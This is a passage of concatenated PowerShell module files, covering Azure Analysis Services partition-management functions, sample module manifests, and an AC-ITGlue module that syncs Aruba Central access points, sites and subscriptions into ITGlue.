Date column used for time condition - Mandatory
.PARAMETER justCreate
Switch for disabling the processing of the parition. This is useful for debuging, alias jc - Optional
.PARAMETER server
URL of AAS server - Optional, defaults to defaultAASServer automation variable or session default
.PARAMETER refresh
Process mode to use - Optional, defaults to defaultRefreshType automation variable or session default,
eg, full, automatic, clearvalues
.PARAMETER connect
Switch for connecting to AAS using default or provied parameters if not already connected,
check Get-DefaultAASConnection for more details on paramaters, alias c - Optional
.PARAMETER tenant
Azure Tenant ID - Optional, defaults to defaultTenantID automation or session default
.PARAMETER cred
Azure Automation credentials to use - Optional, defaults to defaultCredentials automation variable
or session default
.PARAMETER location
Location of AAS server - Optional, defaults to defaultAASLocation automation variable
or session default, eg northeurope
#>
[CmdletBinding(DefaultParameterSetName = 'Standard')]
Param (
[Parameter(Mandatory = $false)] [string] $server = $(Get-DefaultAASServer),
[Parameter(Mandatory = $true)] [string] $database,
[Parameter(Mandatory = $true)] [string] $table,
[Parameter(Mandatory = $true)] [string] $datasource,
[Parameter(Mandatory = $true)] [string] $partition,
[Parameter(Mandatory = $true)] [string] $sql,
[Parameter(Mandatory = $false)] [string] $replace = "{0}",
[Parameter(Mandatory = $true)] [string] $dateColumn,
[Parameter(Mandatory = $false)] [alias("jc")] [switch] $justCreate,
[Parameter(Mandatory = $false)] [string] $refresh = $(Get-DefaultAASRefreshType),
[Parameter(ParameterSetName = 'Connect', Mandatory = $true)] [alias("c")] [switch] $connect,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $tenant,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $cred,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $location
)
connectAASAuto -tenant $tenant -cred $cred -location $location -connect:$connect
# Get the current day, month and year
$currentDate = Get-Date
$currentMonth = $currentDate.Month
$currentDay = $currentDate.Day
$dateFormatName = "yyyy"
$params = @{
partition = $partition
sql = $sql
replace = $replace
dateColumn = $dateColumn
server = $server
database = $database
table = $table
datasource = $datasource
process = (-not $justCreate)
refresh = $refresh
dateFormatName = $dateFormatName
startDate = (Get-Date -Day 01 -Month 01)
endDate = (Get-Date -Day 01 -Month 01).AddYears(1)
}
# (Re)Create current year's partition and process
Invoke-AASCreateTimeBasedPartition @params
# Check for first 7 days of the year
if ($currentMonth -eq 1 -and $currentDay -le 7) {
# (Re)Create last year's partition and process
$params.endDate = $params.startDate
$params.startDate = $params.endDate.AddYears(-1)
Invoke-AASCreateTimeBasedPartition @params
}
}
function Invoke-AASManageYearMonthPartition {
<#
.DESCRIPTION
Automatically manage the creation and processing of yearly and monthly partitions of a table based on the
sql query and date column specified. At the start of a new month a new month parition is created and the
previous month parition is processed on the first day of the new month. At the start of a new year, all
previous year's month paritions are consolidated and reprocessed for the previous year.
Eg below parameters for a date in 2019 will generate the query,
"SELECT * FROM someTable WHERE Date >= '20190101' AND Date < '20200101'",
with the partition name being "FactTable_2019"
- sql = "SELECT * FROM someTable WHERE {0}"
- dateColumn = "Date"
- Partition = "FactTable_"
.PARAMETER datasource
Datasource to use for partition - Mandatory
.PARAMETER database
Database to connect to - Mandatory
.PARAMETER table
Table which will be paritioned - Mandatory
.PARAMETER sql
Partition SQL query template to use - Mandatory
.PARAMETER partition
Partititon name prefix - Optional
.PARAMETER replace
Search string to search in template which will be replaced with the time condition.
Default is {0}. Optional
.PARAMETER dateColumn
Date column used for time condition - Mandatory
.PARAMETER justCreate
Switch for disabling the processing of the parition. This is useful for debuging, alias jc - Optional
.PARAMETER server
URL of AAS server - Optional, defaults to defaultAASServer automation variable or session default
.PARAMETER refresh
Process mode to use - Optional, defaults to defaultRefreshType automation variable or session default,
eg, full, automatic, clearvalues
.PARAMETER connect
Switch for connecting to AAS using default or provied parameters if not already connected,
check Get-DefaultAASConnection for more details on paramaters, alias c - Optional
.PARAMETER tenant
Azure Tenant ID - Optional, defaults to defaultTenantID automation or session default
.PARAMETER cred
Azure Automation credentials to use - Optional, defaults to defaultCredentials automation variable
or session default
.PARAMETER location
Location of AAS server - Optional, defaults to defaultAASLocation automation variable
or session default, eg northeurope
#>
[CmdletBinding(DefaultParameterSetName = 'Standard')]
Param (
[Parameter(Mandatory = $false)] [string] $server = $(Get-DefaultAASServer),
[Parameter(Mandatory = $true)] [string] $database,
[Parameter(Mandatory = $true)] [string] $table,
[Parameter(Mandatory = $true)] [string] $datasource,
[Parameter(Mandatory = $true)] [string] $partition,
[Parameter(Mandatory = $true)] [string] $sql,
[Parameter(Mandatory = $false)] [string] $replace = "{0}",
[Parameter(Mandatory = $true)] [string] $dateColumn,
[Parameter(Mandatory = $false)] [alias("jc")] [switch] $justCreate,
[Parameter(Mandatory = $false)] [string] $refresh = $(Get-DefaultAASRefreshType),
[Parameter(ParameterSetName = 'Connect', Mandatory = $true)] [alias("c")] [switch] $connect,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $tenant,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $cred,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $location
)
connectAASAuto -tenant $tenant -cred $cred -location $location -connect:$connect
# Get the current day, month and year
$currentDate = Get-Date
$currentYear = $currentDate.Year
$currentMonth = $currentDate.Month
$currentDay = $currentDate.Day
$dateFormatName = "yyyy-MM MMM"
$params = @{
partition = $partition
sql = $sql
replace = $replace
dateColumn = $dateColumn
}
$paramsCreate = @{
server = $server
database = $database
table = $table
datasource = $datasource
}
$paramsProcess = @{
process = (-not $justCreate)
refresh = $refresh
}
$paramsD = @{
dateFormatName = $dateFormatName
startDate = (Get-Date -Day 01 -Month $currentMonth)
endDate = (Get-Date -Day 01 -Month $currentMonth).AddMonths(1)
}
# (Re)Create current month's partition and process
Invoke-AASCreateTimeBasedPartition @params @paramsCreate @paramsProcess @paramsD
# Check for 1st of Month
if ($currentDay -eq 1) {
#Check for January
if ($currentMonth -eq 1) {
# (Re)Create last year's partition and full process if 01 Jan
$paramsY = @{ dateFormatName = "yyyy" }
$paramsY.Add('endDate', (Get-Date -Day 01 -Month 01 -Year $currentYear))
$paramsY.Add('startDate', $paramsY.endDate.AddYears(-1))
$paramsProcess.refresh = "Full"
Invoke-AASCreateTimeBasedPartition @params @paramsCreate @paramsProcess @paramsY
# (safe) Delete all month partitions from last year
for ($month = 1; $month -le 12; $month++) {
$paramsD.startDate = (Get-Date -Day 01 -Month $month -Year ($currentYear - 1))
$paramsD.endDate = $paramsD.startDate.AddMonths(1)
$monthPartitionName , $sql = getPartitionDetails @params @paramsD
Invoke-AASDeletePartition @paramsCreate -partition $monthPartitionName -safe -sql $sql
}
}
# (Re)Create last month's partition and process if 1st of the month
else {
$paramsD.startDate = ((Get-Date -Day 01 -Month $currentMonth).AddMonths(-1))
$paramsD.endDate = $paramsD.startDate.AddMonths(1)
Invoke-AASCreateTimeBasedPartition @params @paramsCreate @paramsProcess @paramsD
}
}
} |
ABC.psm1 | ABC-3.0.0 | #Requires -Version 3.0
# Also requires .NET Version 4.7.2 or above
function Foo () {
Write-Host "Hello World"
}
Export-ModuleMember Foo
|
ABC.psd1 | ABC-3.0.0 | #
# Module manifest for module 'ABC'
#
# Generated by: ABC GmbH
#
# Generated on: 04.09.2019
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'ABC.psm1'
# Version number of this module.
ModuleVersion = '3.0.0'
# Supported PSEditions
# CompatiblePSEditions = @()
# ID used to uniquely identify this module
GUID = 'b50f5cb0-324c-460f-8746-4f01a794f50b'
# Author of this module
Author = 'ABC GmbH'
# Company or vendor of this module
CompanyName = 'ABC GmbH'
# Copyright statement for this module
Copyright = '(c) ABC GmbH'
# Description of the functionality provided by this module
Description = 'PowerShell test module.'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '3.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
DotNetFrameworkVersion = '4.7.2'
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
CLRVersion = '4.0'
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = '*'
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = '*'
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = '*'
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = 'foo'
# A URL to the license for this module.
LicenseUri = 'https://opensource.org/licenses/MIT'
# A URL to the main website for this project.
ProjectUri = 'https://google.com/'
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
# ReleaseNotes = ''
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
|
ABCModule.psd1 | ABCModule-1.4.0 | #
# Module manifest for module 'ABCModule'
#
# Generated by: balaraje
#
# Generated on: 7/30/2018
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'ABCModule.dll'
# Version number of this module.
ModuleVersion = '1.4.0.0'
# Supported PSEditions
#CompatiblePSEditions = 'Desktop','Core'
# ID used to uniquely identify this module
GUID = '70ed7433-55c9-4d7e-9900-fa1ac56f9846'
# Author of this module
Author = 'balaraje'
# Company or vendor of this module
CompanyName = 'Unknown'
# Copyright statement for this module
Copyright = '(c) balaraje. All rights reserved.'
# Description of the functionality provided by this module
Description = 'Sample Module'
# Minimum version of the PowerShell engine required by this module
PowerShellVersion = '3.0'
# Name of the PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = @()
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = @()
# Variables to export from this module
VariablesToExport = '*'
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = @()
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
# Tags = @()
RequireLicenseAcceptance = $true
LicenseUri = 'http://www.hpe.com/software/SWLicensing'
# A URL to the main website for this project.
# ProjectUri = ''
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
ReleaseNotes = 'ABCModule - Version 1.4.0.0
March, 2018
Fixes:
- Corrected the download URL for module in Update-HPEBIOSModuleVersion cmdlet.'
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
|
Organizations.ps1 | AC-ITGlue-1.3.0 | function Get-ACITGlueOrgId {
Param(
[Parameter(Mandatory = $true)]
[String]$OrgName,
[Parameter(Mandatory = $false)]
[String]$ITGAPIKey
)
begin {
$organization = $OrgName
if (!$ITGAPIKey) { Write-Warning "No ITGlue API Key declared. The API call will be best effort." }
}
process {
$org_id = (Get-ITGlueOrganizations -filter_name $organization).data.id
}
end {
Set-Variable -Name ACITGlueOrgId -Value $org_id -Scope global
return $ACITGlueOrgId
}
} |
APs.ps1 | AC-ITGlue-1.3.0 | function New-ACITGlueAP {
<#
.SYNOPSIS
Sync conductor AP from Aruba Central to ITGlue configurations
.DESCRIPTION
Sync conductor AP from Aruba Central to ITGlue configurations. Function will also create non-existent models in ITGlue.
.EXAMPLE
New-ACITGlueAP -OrgId 1111111
.EXAMPLE
New-ACITGlueAP -OrgId 1111111 -IncludeAll
.EXAMPLE
New-ACITGlueAP
#>
Param(
[Parameter(
Mandatory = $false,
HelpMessage = "ITGlue Organization ID."
)]
[String]$OrgId,
[Parameter(
Mandatory = $false,
HelpMessage = "Include all APs, not just the conductors. CAUTION: This will include ALL APs at every site for the Aruba Central instance."
)]
[switch]$IncludeAll = $false
)
begin {
$endpoint = "/monitoring/v2/aps"
$APs = Invoke-ArubaCLRestMethod -uri $endpoint -limit 1000
$ManufacturerId = 1657387
$WifiConfigId = 501532
$ReturnArray = @()
$APCount = $APs.Count
$i = 0
if (!$OrgId) { $OrgId = $ACITGlueOrgId }
if ($IncludeAll) { Write-Warning -Message "IncludeAll switch used. This could take some time." }
}
process {
foreach ($ap in $APs.aps) {
Write-Progress -Activity "Processing AP ($($AP.name))" -Status "$($i) of $($APCount)" -PercentComplete (($i / $APCount) * 100)
# Create models even if the AP is not the conductor.
$model = (Get-ITGlueModels).data.attributes | Where-Object { $_.name -eq $AP.model}
# If model doesn't exist create it.
if (!$model) {
$data = @{
type = "models"
attributes = @{
name = $AP.model
"manufacturer-id" = $ManufacturerId
}
}
New-ITGlueModels -data $data | Out-Null
}
if (!$IncludeAll) {
if ($AP.swarm_master -eq $false) {
$i++
continue
}
}
$ITGlueLocationId = (Get-ITGlueLocations -org_id $OrgId -filter_name $AP.site).data.id
$model_id = ((Get-ITGlueModels).data | Where-Object { $_.attributes.name -eq $AP.model}).id
$data = @{
"organization_id" = $OrgId
"type" = "configurations"
attributes = @{
"organization_id" = $OrgId
"location_id" = $ITGlueLocationId
"name" = $AP.name
"mac_address" = $AP.macaddr
"serial_number" = $AP.serial
"primary_ip" = $AP.ip_address
"hostname" = $AP.name
"operating_system_notes" = $AP.firmware_version
"configuration-type-id" = $WifiConfigId
"configuration-type-name" = "Wifi"
"configuration-type-kind" = "Wifi"
"configuration-status-id" = 37495
"configuration-status-name" = "Active"
"manufacturer_id" = $ManufacturerId
"model_id" = $model_id
}
}
$configuration = (Get-ITGlueConfigurations -organization_id $OrgId).data.attributes | Where-Object { $_."serial-number" -eq $ap.serial }
if (!$configuration) {
New-ITGlueConfigurations -data $data | Out-Null
$Properties = @{
"OrgId" = $OrgId
"Name" = $ap.name
"Status" = $true
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
} else {
$Properties = @{
"OrgId" = $OrgId
"Name" = $ap.name
"Status" = $false
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
}
$i++
}
}
end { return $ReturnArray }
}
function Update-ACITGlueAP {
<#
.SYNOPSIS
Update conductor AP from Aruba Central to ITGlue configurations
.DESCRIPTION
Update conductor AP from Aruba Central to ITGlue configurations. Function will also create non-existent models in ITGlue.
.EXAMPLE
Update-ACITGlueAP -OrgId 1111111
.EXAMPLE
Update-ACITGlueAP
#>
Param(
[Parameter(
Mandatory = $false,
HelpMessage = "ITGlue Organization ID."
)]
[String]$OrgId
)
begin {
$endpoint = "/monitoring/v2/aps"
$APs = Invoke-ArubaCLRestMethod -uri $endpoint -limit 1000
$ManufacturerId = 1657387
$WifiConfigId = 501532
$ReturnArray = @()
$APCount = $APs.Count
$i = 0
if (!$OrgId) { $OrgId = $ACITGlueOrgId }
}
process {
foreach ($AP in $APs.aps) {
Write-Progress -Activity "Processing AP ($($AP.name))" -Status "$($i) of $($APCount)" -PercentComplete (($i / $APCount) * 100)
# Create models even if the AP is not the conductor.
$model = (Get-ITGlueModels).data.attributes | Where-Object { $_.name -eq $AP.model}
# If model doesn't exist create it.
if (!$model) {
$data = @{
type = "models"
attributes = @{
name = $AP.model
"manufacturer-id" = $ManufacturerId
}
}
New-ITGlueModels -data $data | Out-Null
}
if ($AP.swarm_master -eq $false) {
$i++
continue
}
$ITGlueLocationId = (Get-ITGlueLocations -org_id $OrgId -filter_name $AP.site).data.id
$model_id = ((Get-ITGlueModels).data | Where-Object { $_.attributes.name -eq $AP.model}).id
$data = @{
"organization_id" = $OrgId
"type" = "configurations"
attributes = @{
"organization_id" = $OrgId
"location_id" = $ITGlueLocationId
"name" = $AP.name
"mac_address" = $AP.macaddr
"serial_number" = $AP.serial
"primary_ip" = $AP.ip_address
"hostname" = $AP.name
"operating_system_notes" = $AP.firmware_version
"configuration-type-id" = $WifiConfigId
"configuration-type-name" = "Wifi"
"configuration-type-kind" = "Wifi"
"configuration-status-id" = 37495
"configuration-status-name" = "Active"
"manufacturer_id" = $ManufacturerId
"model_id" = $model_id
}
}
$ConfigurationData = (Get-ITGlueConfigurations -organization_id $OrgId -page_size 250).data | Where-Object `
{ $_.attributes."configuration-type-name" -eq "Wifi" -and $_.attributes."serial-number" -eq $AP.serial }
if ($ConfigurationData) {
[int]$ConfigurationID = $ConfigurationData.id
Set-ITGlueConfigurations -organization_id $OrgId -data $data -id $ConfigurationID | Out-Null
$Properties = @{
"OrgId" = $OrgId
"Name" = $AP.name
"Status" = $true
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
} else {
$Properties = @{
"OrgId" = $OrgId
"Name" = $AP.name
"Status" = $false
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
}
$i++
}
}
end { return $ReturnArray }
}
function New-ACITGlueAPConfiguration {
<#
.SYNOPSIS
Sync VC configuration to document
.DESCRIPTION
This will build a document for the current configuration and link it to the VC configuration
.EXAMPLE
New-ACITGlueAPConfiguration -OrgId 1111111
#>
Param(
[Parameter(Mandatory = $false)]
[String]$OrgId
)
begin {
$ACEndpoint = "/configuration/v1/ap_cli/CCMS"
$Groups = Invoke-ArubaCLRestMethod -uri $ACEndpoint
}
process {
foreach ($Group in $Groups.data) {
if ($Group -eq "default" -or $Group -eq "unprovisioned") { continue }
$Config = Invoke-ArubaCLRestMethod -uri ($ConfigEndpoint + $Group)
}
}
end { $Config }
} |
Sites.ps1 | AC-ITGlue-1.3.0 | function New-ACITGlueSite {
<#
.SYNOPSIS
Sync Sites from Aruba Central to ITGlue locations
.DESCRIPTION
Sync Sites from Aruba Central to ITGlue locations
.EXAMPLE
New-ACITGlueSites -OrgId 1111111
.EXAMPLE
New-ACITGlueSites
#>
Param(
[Parameter(Mandatory = $false)]
[String]$OrgId
)
begin {
$ACEndpoint = "/central/v2/sites"
$ACSites = (Invoke-ArubaCLRestMethod -uri $ACendpoint -limit 100).sites
$ReturnArray = @()
$ReturnData = [PSCustomObject]@{}
if (!$OrgId) { $OrgId = $ACITGlueOrgId }
$SiteCount= $ACSites.count
$i = 0
}
process {
# Check for valid Organization
if (!(Get-ITGlueLocations -org_id $OrgId -ErrorAction SilentlyContinue) -as [bool]) {
Write-Error "Invalid organization."
break
}
foreach ($Site in $ACSites) {
Write-Progress -Activity "Processing Site ($($Site.site_name))" -Status "$($i) of $($SiteCount)" -PercentComplete (($i / $SiteCount) * 100)
$ITGlue_Location = (Get-ITGlueLocations -org_id $OrgId).data.attributes | Where-Object { $_.name -eq $Site.site_name }
if (!$ITGlue_Location) {
$data = @{
"organization_id" = $OrgId
"type" = "locations"
attributes = @{
"organization_id" = $OrgId
"name" = $Site.site_name
"address_1" = $Site.address
"adress_2" = $null
"city" = $Site.city
"region_name" = $Site.state
"region_id" = 63
"postal_code" = $Site.zipcode
"country_id" = 2 # Assumes US
"latitude" = $Site.latitude
"longitude" = $Site.longitude
}
}
New-ITGlueLocations -org_id $OrgId -data $data | Out-Null
$Properties = @{
"OrgId" = $OrgId
"Name" = $Site.site_name
"Status" = $true
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
} else {
$Properties = @{
"OrgId" = $OrgId
"Name" = $Site.site_name
"Status" = $false
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
$ReturnArray += $ReturnData
}
$i++
}
}
end { return $ReturnArray }
}
|
Token.ps1 | AC-ITGlue-1.3.0 | function Get-ArubaCLTokenStatus {
$expire = $DefaultArubaCLConnection.token.expire
$now = [int]((Get-Date -UFormat %s) -split ",")[0]
if (($expire - $now) -le 0) {
# If token is expired, it should fail boolean
return $false
} else { return $true }
} |
AC-ITGlue.psd1 | AC-ITGlue-1.3.0 | #
# Module manifest for module 'ArubaCentral-ITGlue'
#
# Generated by: Zak Emerick
#
# Generated on: 9/10/2021
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'AC-ITGlue.psm1'
# Version number of this module.
ModuleVersion = '1.3'
# Supported PSEditions
# CompatiblePSEditions = @()
# ID used to uniquely identify this module
GUID = '447d8cfb-4201-4cb5-a0ec-69b6b04aacde'
# Author of this module
Author = 'Zak Emerick'
# Company or vendor of this module
CompanyName = 'None'
# Copyright statement for this module
Copyright = '(c) Zak Emerick. All rights reserved.'
# Description of the functionality provided by this module
Description = 'This module provides a way to import Aruba Central data into ITGlue.'
# Minimum version of the PowerShell engine required by this module
PowerShellVersion = '3.0'
# Name of the PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# ClrVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = '*'
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = '*'
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = @()
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
# Tags = @()
# A URL to the license for this module.
# LicenseUri = ''
# A URL to the main website for this project.
ProjectUri = 'https://github.com/zemerick1/ps_itglue-api'
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
# ReleaseNotes = ''
# Prerelease string of this module
# Prerelease = ''
# Flag to indicate whether the module requires explicit user acceptance for install/update/save
# RequireLicenseAcceptance = $false
# External dependent modules of this module
# ExternalModuleDependencies = @()
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
HelpInfoURI = 'https://github.com/zemerick1/ps_itglue-api'
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
|
Connect.ps1 | AC-ITGlue-1.3.0 | # API Connections
function New-ACITglueConnection {
begin{
$ITGlueStatus = $false
$ACITGlueStatus = $false
}
process {
$ErrorActionPreference = 'SilentlyContinue'
if (!(Get-ITGlueAPIKey) -as [bool]) {
$APIKey = Read-Host -Prompt 'Please enter ITGlue API Key'
$ITGlueStatus = (Add-ITGlueAPIKey -Api_Key $APIKey) -as [bool]
} else { $ITGlueStatus = $true }
$ErrorActionPreference = 'Continue'
if (!(Get-ArubaCLTokenStatus)) {
Connect-ArubaCL
}
if (!$ACITGlueOrgId) {
$OrgId = Get-ACITGlueOrgId
} else { $ACITGlueStatus = $true }
if ($OrgId -or $null -ne $OrgId) {
$ACITGlueStatus = $true
}
$Properties = @{
"ITGlueStatus" = $ITGlueStatus
"ACStatus" = (Get-ArubaCLTokenStatus)
"ACITGlueStatus" = $ACITGlueStatus
}
$ReturnData = New-Object -TypeName PSObject -Property $Properties
}
end {
Set-Variable -Name ACITGlueStatus -Value $ReturnData -Scope global
return $ReturnData
}
} |
AC-ITGlue.psm1 | AC-ITGlue-1.3.0 | # Install / Import
Install-Module -Name ITGlueAPI -SkipPublisherCheck
Import-Module -Name ITGlueAPI
Install-Module -Name PowerArubaCL -SkipPublisherCheck -Force
Import-Module -Name PowerArubaCL
# end
# https://github.com/PowerAruba/PowerArubaCL/blob/master/PowerArubaCL/PowerArubaCL.psd1
# Get public and private function definition files.
$Public = @( Get-ChildItem -Path $PSScriptRoot\Resources\*.ps1 -ErrorAction SilentlyContinue )
$Private = @( Get-ChildItem -Path $PSScriptRoot\Private\*.ps1 -ErrorAction SilentlyContinue )
# Dot source the files
Foreach ($import in @($Private + $Public)) {
Try {
. $import.fullname
}
Catch {
Write-Error -Message "Failed to import function $($import.fullname): $_"
}
}
Write-Warning -Message "To get started please run New-ACITglueConnection" |
Subscriptions.ps1 | AC-ITGlue-1.3.0 | function New-ACITGlueSubscription {
<#
.SYNOPSIS
Sync Subscriptions from Aruba Central to ITGlue licenses
.DESCRIPTION
Sync subscriptions from Aruba Central to ITGlue licenses
.EXAMPLE
New-ACITGlueSites -OrgId 1111111
.EXAMPLE
New-ACITGlueSites
.EXAMPLE
This will included expired licenses from Aruba Central.
New-ACITGlue Sites -OrgID 1111111 -IncludeExpired
#>
Param(
[Parameter(
Mandatory = $false,
HelpMessage = "ITGlue Organization ID."
)]
[String]$OrgId,
[Parameter(
Mandatory = $false,
HelpMessage = "Will include expired licenses."
)]
[switch]$IncludeExpired = $false
)
begin {
$ACEndpoint = "/platform/licensing/v1/subscriptions?license_type=all"
$Subscriptions = Invoke-ArubaCLRestMethod -uri $ACEndpoint
$LicenseFlexId = 234119
$Manufacturer = "Aruba Networks"
$ReturnArray = @()
[datetime]$OriginStart = '1970-01-01 00:00:00'
[datetime]$OriginEnd = '1970-01-01 00:00:00'
$SubCount = $Subscriptions.subscriptions.Count
$i = 0
if (!$OrgId) { $OrgId = $ACITGlueOrgId }
}
process {
foreach ($Sub in $Subscriptions.subscriptions) {
Write-Progress -Activity "Processing Subscription ($($Sub.subscription_key))" -Status "$($i) of $($SubCount)" -PercentComplete (($i / $SubCount) * 100)
if (!$IncludeExpired) {
if ($Sub.status -ne "OK") {
$i++
continue
}
}
$StartTime = $Sub.start_date
$RenewalTime = $Sub.end_date
$LicenseKey = "<div>" + $Sub.subscription_key + " : " + $Sub.sku + "<br></div>"
$data = @{
"organization_id" = $OrgId
"type" = "flexible-assets"
attributes = @{
"flexible-asset-type-id" = $LicenseFlexId
traits = @{
"manufacturer" = $Manufacturer
"name" = $Sub.subscription_key
"seats" = $Sub.quantity
"license-key-s" = $LicenseKey
"purchase-date" = $OriginStart.AddSeconds($StartTime)
"renewal-date" = $OriginEnd.AddSeconds($RenewalTime)
"version" = $Sub.license_type
}
}
}
$AssetName = $Manufacturer + " " + $Sub.subscription_key + " " + $Sub.license_type
$Asset = (Get-ITGlueFlexibleAssets -filter_flexible_asset_type_id $LicenseFlexId `
-filter_organization_id $OrgId -filter_name $AssetName).data
if (!$Asset) {
New-ITGlueFlexibleAssets -organization_id $OrgId -data $data | Out-Null
}
$i++
}
}
end { return $ReturnArray }
}
|
Networks.ps1 | AC-ITGlue-1.3.0 | function New-ACITGlueNetwork {
<#
.SYNOPSIS
Sync Networks from Aruba Central to ITGlue flexable assets
.DESCRIPTION
Sync Networks from Aruba Central to ITGlue flexable assets
.EXAMPLE
New-ACITGlueNetwork -OrgId 1111111
.EXAMPLE
New-ACITGlueNetwork
#>
Param(
[Parameter(Mandatory = $false)]
[String]$OrgId
)
begin {
$endpoint = "/monitoring/v2/networks"
$networks = Invoke-ArubaCLRestMethod -uri $endpoint
$WirelessFlexId = 234110
$ReturnArray = @()
if (!$OrgId) { $OrgId = $ACITGlueOrgId }
}
process {
foreach ($network in $networks.networks) {
$data = @{
